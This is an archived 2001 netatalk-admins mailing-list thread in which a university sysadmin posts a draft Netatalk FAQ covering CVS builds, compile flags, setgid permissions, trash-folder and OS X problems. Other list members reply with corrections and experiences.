Message-Id: <Pine.SOL.4.20.0110041930430.16268-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Here's my first version of a FAQ, to be added to the current, or whatever
else the maintainers want to do with it. I'm posting it to see of there
are any glaring errors, if people want me to answer other questions, or
any other comments. It hasn't been spell-checked, don't worry about the
any typos.

Notes - I'm writing this for a newbie reader; as one person once said to
me the target audience for this software is an overworked high-school
admin who is maintaining a lab in her spare time, not a *bsd god.
Nevertheless, if there are any simplications which I have done which
confuse things, please let me know. I intend on putting in a "how to make
netatalk play nice(r) with samba" section too, if anyone has any
suggestions for it, PLEASE, let me know.

Three main questions I still have: 

Where does netatalk.conf fit into all of this? It seems that it's
redundant in a lot of ways. Is this a file that is staring to be used like
smb.conf, it's just not there yet?

What's the final solution (or has it been solved) for the trash problems?
Both the "delete files immediately" and the files getting stuck in there
with permission problems?

Has the folder refresh problem been fixed? If not, what should I put in
here about it? Having people view their folders as lists, and open and
close the triangle?

--FAQ--


Q: Where can I get more information on Netatalk?

A: The current location of the actively developed netatalk project can be
found on SourceForge, at: http:/www.sourceforge.net/projects/netatalk.

There are (at least) two very active e-mail lists to which you can
subscribe, the first, netatalk-admins, is for usage and basic
setup/compile questions. It is NOT maintained at sourceforge, but rather
at the University of Michigan, which was involved with a good deal of the
early development.  

Subscribe by sending an e-mail to netatalk-admins-request@umich.edu with a
subject of "subscribe" and a blank body. This can be very high volume, but
usually a few messages a day.

The archive is available at:  
ftp://terminator.rs.itd.umich.edu/unix/netatalk/ and is called
netatalk-admins.mail.  This is a ~6M mbox file. Previous archives are
available there as well.

Netatalk-devel list is more specific to coding and testing. It can be
browsed at: http://www.geocrawler.com/redir-sf.php3?list=netatalk-devel,
and subscribed to at:  
http://lists.sourceforge.net/lists/listinfo/netatalk-devel This varies in
volume, but is usually moderately active.

netatalk-docs is specific to documentation. It can be browsed at:
http://www.geocrawler.com/redir-sf.php3?list=netatalk-docs
and subscribed to at:
http://lists.sourceforge.net/lists/listinfo/netatalk-docs
As far as I can tell, this list is completely dead.

There are older netatlk information sites at:
http://www.umich.edu/~rsug/netatalk/index.html
http://www.anders.com/projects/netatalk/ and many unices have their own
sites and distributions (tarballs, rpm's, packages, etc.)


Q: How do I get the most recent version of Netatalk?

A: Via CVS from Sourceforge.net. This is the actively maintained version
of netatalk, changes are being made constantly, and therefore it is not
suitable for production environments. The netatalk at Sourceforge is in
Beta, so keep that in mind.

To create the CVS tree - from the directory you want to use as your CVS
root, run:

% cvs -d:pserver:anonymous@cvs.netatalk.sourceforge.net:/cvsroot/netatalk login

hit <enter> at the Password: prompt

% cvs -z3
-d:pserver:anonymous@cvs.netatalk.sourceforge.net:/cvsroot/netatalk co
netatalk

this will create a netatalk subdirectory, and check out all of the files.
If you run this same command subsequently, you will update any files which
have changed (on the CVS server) since your last checkout.

Once you've done that, read the INSTALL file in the netatalk/ directory,
plus the CONFIGURE file. You'll need to have some supplementary software
installed, such as gmake. Additional information can be found in docs/.

The main things to know, though, are this: you must run

% ./autogen.sh in the netatalk/ directory first, in order to create your
configure file. 

Then run % ./configure --help | more in order to get a
feel for which compile flags are available. Some of these flags are
summarized below.

To learn more about CVS, a good place to start is: http://www.cvshome.org,
or http://www.cvshome.org/docs/manual, or
http://www.cvshome.org/form/form.cgi (this is the FAQ).


Q: Can I get an almost current version of Netatalk without having to learn CVS?

A: Yes.  Weekly (or thereabouts) snapshots of the CVS tree should be
posted for the benefit of those that don't want to / can't use CVS. As of
10/3/01, these were being put up at:

ftp://ftp.marcuscom.com/pub/netatalk/nightly

>From the mail archives:
I have started an archive of nightly CVS snap shots that build a tar.gz of
netatalk ready to configure and build.  The images can be downloaded from:

ftp://ftp.marcuscom.com/pub/netatalk/nightly
This site only allows active FTP, so the snaps are also available at:
http://www.marcuscom.com/netatalk/nightly

You should be able to treat these images as you would a release.  Just
configure as you normally work, then run make (or gmake as the case may
be).  There is no need to run autogen.sh on these images.  Please let me
know if you have any problems with these images.  Thanks. -Joe


Q: What is this I keep seeing about asun?

A: Before netatalk moved to SourceForge, Adrian Sun (asun) had written
some patches to netatalk which helped significantly with it's usability,
especially using appleshareIP. These patches are still provided by many
unix vendors. I believe all of these patches are included in the current
Sourceforge versions.


Q: I'm having Quark Express file locking problems, is there information on that?

A: Yes, see below about the --enable-did= flag. Also, try using the
--flock-locks flag. Enabling this code disabled the new byte locking
feature.  With FLOCK locks, the whole file would be locked.  With byte
locks, a byte range could be locked without locking the whole file.


Q: I'm getting this error in Quark Express when trying to save a file to
the server: 'Error Type -50'

A: Turn off the document preview feature off in Quark.


Q: Does netatalk work with Mac OSX?

A: Yes, but only the most recent versions, and it's still being finalized.
Versions prior to 1.5Pre7 did NOT work with OS X, although some really
early versions did (netatalk 1.4+asun?).


Q: I'm getting an 'Application for this document not found' error on OS X.

Q: I'm getting an 'Error Type -43' error on OS X.

A: Configure with --with-did=last. More info on this flag is below.


Q: What are the .AppleDouble and .Parent directories which are created in
the netatalk locations?

A: (also mention samba veto files, and the appledouble/MSwindows options
in AppleVolumes.default

The .AppleDouble folders hold the resource fork information for the mac
files, plus other attributes which are not normally stored by Unix. For
this reason, when you want to move files around in your mac volumes, it's
a good idea to do it from the Mac side (as opposed to from the unix side,
or Samba), unless you make absolutely sure you get the .AppleDouble
directories. These directories are often hidden from the Samba side, via
the veto files configuration.

You can also set netatalk to not create an .AppleDouble directory unless
it absolutely needs it, by setting the noadouble setting in
AppleVolumes.default.


Q: Hidden files - what's up with that?

A: If you set the noadouble flag in AppleVolumes.default, you won't see
the .Apple* or .Parent directories on the Mac side. If you use the veto
files option in Samba, they may be hidden from the windows side as well.


Q: How do I get the directories that are created by Netatalk to have the
correct permissions by default?

A: Investigate the SetGid bit on your unix platform. It's a good idea to
set this on your shared directories, and your .AppleDouble directories.
>From the mail archives: "Usually directories designated for use with
AppleShare have the setgid (g+s) bit set.  It forces inheritance of
permissions.  Without it, the .AppleDouble subdirectory can't be created
since the new folder doesn't necessarily have the same write privileges."

Also: Evi Nemeth's "Unix System Administration Handbook" which is chock
full of useful advice (and one or two pieces of not-so good advice, but
even those are debatable). Here's what it says about setguid (3rd. ed,
chap 5.5, pg. 69):

"The bits with octal values 4000 and 2000 are the setuid and setgid bits.
These bits allow programs to acess files and processes that would
otherwise be off-limits to the users that run them. ... When set on a
directory, the setgid bit causes newly created files within the directory
to take on the group membership of the directory rather than the defualt
group of the user that created the file. This convention makes it easier
to share a directory of files among several users, as long as they all
belong to a common group. Check your system before relying on this
feature, since not all version of UNIX provide it. ... This interpretation
of the setgid bit is unrelated to it's meaning when set on an executable
file, but there is never any ambiguity as to which meaning is
appropriate." (any typos are mine)

NOTE: The SETUID is usually discussed along with the SetGID bit. The
SetUID bit is VERY dangerous. If you set it on an executable, and the
executable is owned by root, anyone who runs that executable is root for
the duration of that executable's run, so a clever person can leverage
that into a full-scale compromise. The SETGID bit also has implications
that way, so be careful where you set it.

You set it by doing a chmod 2777 or 2775, or whatever. It's that first 2 bit.


Q: How can I set who has access to certain directories?

A: You can certainly do this with your unix permissions, but also explore the 
allow/deny/rwlist/rolist options in the AppleVolumes.default file:

# allow/deny/rwlist/rolist format [syntax: allow:user1,@group]:
# user1,@group,user2  -> allows/denies access from listed users/groups
#                        rwlist/rolist control whether or not the
#                        volume is ro for those users.

Also, some unices, specically FreeBSD, have other options:
(By Joe Clark)

"What about file and directory permissions?  Since I didn't use the FORCE
UID/GID code, I decided to use a feature of FreeBSD called SUIDDIR. From
the LINT kernel config file:

# If you are running a machine just as a fileserver for PC and MAC
# users, using SAMBA or Netatalk, you may consider setting this option
# and keeping all those users' directories on a filesystem that is
# mounted with the suiddir option. This gives new files the same
# ownership as the directory (similar to group). It's a security hole
# if you let these users run programs, so confine it to file-servers
# (but it'll save you lots of headaches in those cases). Root owned
# directories are exempt and X bits are cleared. The suid bit must be
# set on the directory as well; see chmod(1) PC owners can't see/set
# ownerships so they keep getting their toes trodden on. This saves
# you all the support calls as the filesystem it's used on will act as
# they expect: "It's my dir so it must be my file".

 FORCE UID/GID code, I decided to use a feature of FreeBSD called
 SUIDDIR.  From the LINT kernel config file:

# If you are running a machine just as a fileserver for PC and MAC
# users, using SAMBA or Netatalk, you may consider setting this option
# and keeping all those users' directories on a filesystem that is
# mounted with the suiddir option. This gives new files the same
# ownership as the directory (similar to group). It's a security hole
# if you let these users run programs, so confine it to file-servers
# (but it'll save you lots of headaches in those cases). Root owned
# directories are exempt and X bits are cleared. The suid bit must be
# set on the directory as well; see chmod(1) PC owners can't see/set
# ownerships so they keep getting their toes trodden on. This saves
# you all the support calls as the filesystem it's used on will act as
# they expect: "It's my dir so it must be my file".

And the associated mount command:

mount -o suiddir /dev/da2s1e /macvol/artfiles

This was used on my dedicated Netatalk/Samba filesystems.  On
filesystems that were also used for interactive shell access, I chmod'd
my Netatalk shares 2770.  The reason for this is that I set up a UNIX
group for each department in the ad agency.  I had an art group, a media
group, an accounting group, and then, or course, a general staff group.
Each share was only allowed access by the group that needed to access
the share.  So, the Artfiles share allowed access only to the art group:

/macvol/artfiles "Art Files" allow:@art

And the others followed in kind.  Therefore, the 2770 mask allowed only
owners and people in the associated group access to read and write
files.  The leading 2 set the setgid bit so that all child files and
directories would retain the same group permissions.  I found this to
work well.

This was used on my dedicated Netatalk/Samba filesystems.  On
filesystems that were also used for interactive shell access, I chmod'd
my Netatalk shares 2770.  The reason for this is that I set up a UNIX
group for each department in the ad agency.  I had an art group, a media
group, an accounting group, and then, or course, a general staff group.
Each share was only allowed access by the group that needed to access
the share.  So, the Artfiles share allowed access only to the art group:

/macvol/artfiles "Art Files" allow:@art

And the others followed in kind.  Therefore, the 2770 mask allowed only
owners and people in the associated group access to read and write
files.  The leading 2 set the setgid bit so that all child files and
directories would retain the same group permissions.  I found this to
work well."



Q: I can't seem to use passwords longer than 8 characters for my netatalk
accounts. How can I fix that? 

Q: I would like to use encrypted passwords to authenticate to the Netatalk
server. How do I do that?

A: Update to a newer version of AppleShare Client (I think the most recent is 3.8.8). This allows longer passwords, and will allow you to use encrypted passwords. Set which way you would like to authenticate in either afpd.conf or netatalk.conf, depending on your set up.


Q: I'm having massive file deletion problems!
Q: I am having lots of file locking problems!
Q: I'm getting this message in my logs:
WARNING: DID conflict for ...  Are these the same file?

A: Compile with the --with-did=last flag set. This activates a different
method of calculating inodes in the software, and will hopefully fix some
of these problems. This code, along with the CNID code, was still being
worked out in Pre7. The cnid/db3 flags also go along with this:
  --enable-cnid-db   use persistent cnid database per volume (EXPERIMENTAL)
  --with-db3=PATH         specify path to Berkeley DB3 installation
  --with-did=[scheme]     set DID scheme (last,mtab) 

(For more information on CNID, see the README.cnid file, into which I just
copied wholesale Joe's comments on what he did with cnid and lastdid.)

--with-did=last reverted things back to the old 1.4b2 directory ID
calculation algorithm.  This also solved the problem of the syslog
messages and the users complaining of file deletions.  It's also been
found that by disabling *BSD's SOFTUPDATES feature on Netatalk volumes (on
FreeBSD), multi-user interaction seemed to work better.  This was back in
a late 4.2-BETA, so it's not clear if this still holds true in 4.4-RELEASE
or not.


Q: What does this error mean:
'afpd[#####]: setdirmode: chmod .AppleDouble Operation not permitted'

A: This can be due to a few things.

1) The SetGid bit might not be set on either your directory, or on the
.AppleDouble directory. I think the bit has to be set recursively on the
.AppleDouble folder.

2) You may not be member of the group set on the directory you're trying
to write to.

3) This was a persistant bug in 1.5pre6 for awhile, upgrading might help.


Q: I'm having problems with the Trash folder: either when someone drags
files into it, the system want's them todelete them immeidately, or files
get stuck in there and won't delete.

A: chmod the Network Trash folder to 2775 (/home/public/Network Trash
Folder for instance).


Q: The daemons aren't starting, things aren't showing up in the Chooser,
and I get a message like this in the logs: afpd[####]: Can't register
Tests:AFPServer@*

This is sometimes a result of missing NIC information in the atalkd.conf
file. Put your network interface (something like le0, eth0, fxp0, lo0)
alone on a line in atalkd.conf, and reboot. When atalkd starts, it will
populate the file with a line like: le1 -seed -phase 2 -addr 66.6 -net
66-67 -zone "No Parking"

To find your network interface, run

% ifconfig -a | more
and see which interface has your IP address. Use that one.

(much of this stuff has been pulled out of the mail archives, and from
informational files sent by Joe Clark.)


-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz


From netatalk.administrators-errors@umich.edu  Thu Oct  4 21:25:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA04610
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 4 Oct 2001 21:25:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA14263
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 4 Oct 2001 21:25:53 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA14246
	for netatalk.administrators-members@umich.edu; Thu, 4 Oct 2001 21:25:53 -0400 (EDT)
Received: from pencil.math.missouri.edu (pencil.math.missouri.edu [128.206.49.147])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA14211
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 21:25:52 -0400 (EDT)
Received: (from rich@localhost)
	by pencil.math.missouri.edu (8.11.3/8.11.3) id f951PpR05307
	for netatalk-admins@umich.edu; Thu, 4 Oct 2001 20:25:51 -0500 (CDT)
	(envelope-from rich)
From: Rich Winkel <rich@math.missouri.edu>
Message-Id: <200110050125.f951PpR05307@pencil.math.missouri.edu>
Subject: NFS and netatalk folder permissions
To: netatalk-admins@umich.edu
Date: Thu, 4 Oct 2001 20:25:51 -0500 (CDT)
X-Mailer: ELM [version 2.4ME+ PL82 (25)]
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII

I'm running netatalk-1.5p7 on freebsd 4.3-release.
It appears that NFS messes up netatalk's access perms unless the
nfs mount is done with root permissions (i.e. root on the nfs client
has root credentials on the nfs'd disk).

Is this a known bug?  Is there a good workaround?

Thanks!
Rich


From netatalk.administrators-errors@umich.edu  Thu Oct  4 21:27:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA04671
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 4 Oct 2001 21:27:48 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA16073
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 4 Oct 2001 21:27:48 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA16060
	for netatalk.administrators-members@umich.edu; Thu, 4 Oct 2001 21:27:47 -0400 (EDT)
Received: from myriad.its.unimelb.edu.au (myriad.its.unimelb.edu.au [128.250.6.196])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA16021
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 21:27:45 -0400 (EDT)
Received: from localhost (epl@localhost)
	by myriad.its.unimelb.edu.au (8.9.3/8.9.3) with ESMTP id LAA26245;
	Fri, 5 Oct 2001 11:27:37 +1000 (AEST)
X-Authentication-Warning: myriad.its.unimelb.edu.au: epl owned process doing -bs
Date: Fri, 5 Oct 2001 11:27:37 +1000 (AEST)
From: Edmund Lam <epl@unimelb.edu.au>
X-Sender: epl@myriad.its.unimelb.edu.au
To: Karen A Swanberg <swanberg@tc.umn.edu>
cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] new FAQ, pt. 1 (long)
In-Reply-To: <Pine.SOL.4.20.0110041930430.16268-100000@garnet.tc.umn.edu>
Message-ID: <Pine.OSF.4.10.10110051113140.25334-100000@myriad.its.unimelb.edu.au>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Wow, excellent work Karen (Joe too).

On Thu, 4 Oct 2001, Karen A Swanberg wrote:

> Three main questions I still have: 
> 
> Where does netatalk.conf fit into all of this? It seems that it's
> redundant in a lot of ways. Is this a file that is staring to be used like
> smb.conf, it's just not there yet?
> 
netatalk.conf is not like smb.conf at all. Indeed, once the netatalk
binaries start, there is no use for netatalk.conf. Instead, netatalk.conf
is used by the startup init scripts to decide what daemons to start (eg
atalkd, papd, afpd, timelord) and what options to give to them (eg
max_connection_limit). This is because some netatalk options can only be
specified via the command-line (eg max_connection_limit).

To see how netatalk.conf is parsed, look in some (eg SuSE, Red Hat)
netatalk startup scripts. In particular, note that some platforms do not
(by default) use netatalk.conf (eg Tru64, SysV, *BSD).

I dunno about the rest.

> Q: Does netatalk work with Mac OSX?
> 
> A: Yes, but only the most recent versions, and it's still being finalized.
> Versions prior to 1.5Pre7 did NOT work with OS X, although some really
> early versions did (netatalk 1.4+asun?).
> 
I've noted some remaining problems with MacOS X with Netatalk on Tru64
(yes I'm using last did and 1.5pre7 and later). Haven't had time to track
it down, but there are some remaining issues.

> A: If you set the noadouble flag in AppleVolumes.default, you won't see
> the .Apple* or .Parent directories on the Mac side. If you use the veto
> files option in Samba, they may be hidden from the windows side as well.
> 
I've had bad experiences with the noadouble option. In particular, one
should make sure that they can still upload/download files with comments
and applications.

> Q: I can't seem to use passwords longer than 8 characters for my netatalk
> accounts. How can I fix that? 
> 
> Q: I would like to use encrypted passwords to authenticate to the Netatalk
> server. How do I do that?
> 
Another thing is to make sure that the DHX module was loaded correctly.
I'm not sure about the randnum module and what that does.

Cheers

Eddie


From netatalk.administrators-errors@umich.edu  Thu Oct  4 21:48:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA05322
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 4 Oct 2001 21:48:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA24609
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 4 Oct 2001 21:48:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA24596
	for netatalk.administrators-members@umich.edu; Thu, 4 Oct 2001 21:48:15 -0400 (EDT)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA24561
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 21:48:14 -0400 (EDT)
Received: from shumai.marcuscom.com (shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id f951kgP65572;
	Thu, 4 Oct 2001 21:46:42 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.3/8.11.3) with ESMTP id f951m1q40983;
	Thu, 4 Oct 2001 21:48:01 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Thu, 4 Oct 2001 21:48:01 -0400 (EDT)
From: Joe Clarke <marcus@marcuscom.com>
To: Edmund Lam <epl@unimelb.edu.au>
cc: Karen A Swanberg <swanberg@tc.umn.edu>, <netatalk-admins@umich.edu>,
        <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] new FAQ, pt. 1 (long)
In-Reply-To: <Pine.OSF.4.10.10110051113140.25334-100000@myriad.its.unimelb.edu.au>
Message-ID: <20011004213938.W40723-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII



On Fri, 5 Oct 2001, Edmund Lam wrote:

>
> Wow, excellent work Karen (Joe too).
>
> On Thu, 4 Oct 2001, Karen A Swanberg wrote:
>
> > Three main questions I still have:
> >
> > Where does netatalk.conf fit into all of this? It seems that it's
> > redundant in a lot of ways. Is this a file that is staring to be used like
> > smb.conf, it's just not there yet?
> >
> netatalk.conf is not like smb.conf at all. Indeed, once the netatalk
> binaries start, there is no use for netatalk.conf. Instead, netatalk.conf
> is used by the startup init scripts to decide what daemons to start (eg
> atalkd, papd, afpd, timelord) and what options to give to them (eg
> max_connection_limit). This is because some netatalk options can only be
> specified via the command-line (eg max_connection_limit).
>
> To see how netatalk.conf is parsed, look in some (eg SuSE, Red Hat)
> netatalk startup scripts. In particular, note that some platforms do not
> (by default) use netatalk.conf (eg Tru64, SysV, *BSD).

Yeah, this file is read by some of the Linux init scripts (RedHat's, for
example).  This file could be used by any UNIX if the init script was made
to use it.

>
> I dunno about the rest.
>
> > Q: Does netatalk work with Mac OSX?
> >
> > A: Yes, but only the most recent versions, and it's still being finalized.
> > Versions prior to 1.5Pre7 did NOT work with OS X, although some really
> > early versions did (netatalk 1.4+asun?).
> >
> I've noted some remaining problems with MacOS X with Netatalk on Tru64
> (yes I'm using last did and 1.5pre7 and later). Haven't had time to track
> it down, but there are some remaining issues.

Yeah, some problems still exist.  I just got my copy of OS X 10.1, so
hopefully, I'll be able to track some of them down.

>
> > A: If you set the noadouble flag in AppleVolumes.default, you won't see
> > the .Apple* or .Parent directories on the Mac side. If you use the veto
> > files option in Samba, they may be hidden from the windows side as well.
> >
> I've had bad experiences with the noadouble option. In particular, one
> should make sure that they can still upload/download files with comments
> and applications.
>
> > Q: I can't seem to use passwords longer than 8 characters for my netatalk
> > accounts. How can I fix that?
> >
> > Q: I would like to use encrypted passwords to authenticate to the Netatalk
> > server. How do I do that?
> >
> Another thing is to make sure that the DHX module was loaded correctly.
> I'm not sure about the randnum module and what that does.
>
> Cheers

To add to the Samba/Netatalk interaction, I configure Samba with
--with-netatalk (still experimental).  It helps with the sync'ing of Mac
forks.

Joe

>
> Eddie
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
>
>


From netatalk.administrators-errors@umich.edu  Thu Oct  4 21:48:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA05338
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 4 Oct 2001 21:48:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA16696
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 4 Oct 2001 21:48:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA16683
	for netatalk.administrators-members@umich.edu; Thu, 4 Oct 2001 21:48:18 -0400 (EDT)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA16662
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 21:48:17 -0400 (EDT)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id VAA08720
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 21:48:16 -0400 (EDT)
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 04 Oct 2001 21:48:16 -0400
Subject: OS X irony
From: Rick Zeman <rzeman@his.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7E2899F.4BF7%rzeman@his.com>
In-Reply-To: <Pine.SOL.4.20.0110041930430.16268-100000@garnet.tc.umn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

After struggling to find a version of netatalk that would work with 10.0.4,
I said the hell with it after many failures and went back to my trusty
1.4b2+asun2.1.4 (compiled from source and run on OpenLinux 2.4, kernel
2.2.18).

Lo and behold, it now works PERFECTLY (well, I don't use Quark) with 10.1.
Go figure....

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Thu Oct  4 22:30:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA06824
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 4 Oct 2001 22:30:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA27585
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 4 Oct 2001 22:30:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA27573
	for netatalk.administrators-members@umich.edu; Thu, 4 Oct 2001 22:30:57 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA27545
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 22:30:56 -0400 (EDT)
Received: from math.ohio-state.edu (math.ohio-state.edu [128.146.111.30])
	by mathserv.math.ohio-state.edu (8.11.6/8.11.6) with ESMTP id f952Usj05572;
	Thu, 4 Oct 2001 22:30:54 -0400
Date: Thu, 4 Oct 2001 22:30:54 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Rick Zeman <rzeman@his.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: OS X irony
In-Reply-To: <B7E2899F.4BF7%rzeman@his.com>
Message-ID: <Pine.GSO.4.31.0110042230130.19356-100000@math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-RAVMilter-Version: 8.3.0(snapshot 20010925) (mathserv)


I never got that to work so well, however 1.5pre7 and OSX 10.1 work fine.
10.0.4 doesn't work any better with 1.5pre7, so maybe someone at apple
fixed whatever was causing the problem :)

On Thu, 4 Oct 2001, Rick Zeman wrote:

> After struggling to find a version of netatalk that would work with 10.0.4,
> I said the hell with it after many failures and went back to my trusty
> 1.4b2+asun2.1.4 (compiled from source and run on OpenLinux 2.4, kernel
> 2.2.18).
>
> Lo and behold, it now works PERFECTLY (well, I don't use Quark) with 10.1.
> Go figure....
>
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Fri Oct  5 03:00:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA15886
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 03:00:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA28683
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 03:00:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA28673
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 03:00:46 -0400 (EDT)
Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA28614
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 03:00:43 -0400 (EDT)
Received: from faxserver ([63.34.214.233]) by mta03.mail.mel.aone.net.au
          with ESMTP
          id <20011005070038.FQGS15297.mta03.mail.mel.aone.net.au@faxserver>;
          Fri, 5 Oct 2001 17:00:39 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15pLh2-0000FJ-00; Fri, 05 Oct 2001 13:30:32 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 05 Oct 2001 13:30:24 +1000
Subject: Re: new FAQ, pt. 1 (long)
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: Karen A Swanberg <swanberg@tc.umn.edu>,
        netatalk <netatalk-admins@umich.edu>
Message-ID: <B7E36670.29E9%editor.ac@churchesofchrist.org.au>
In-Reply-To: <Pine.SOL.4.20.0110041930430.16268-100000@garnet.tc.umn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Good stuff Karen,

One comment, I found it necessary to set the permissions recursively, as the
trash had already been used (an may have had stuff in it) and the plain
chmod did not work.

Nigel.

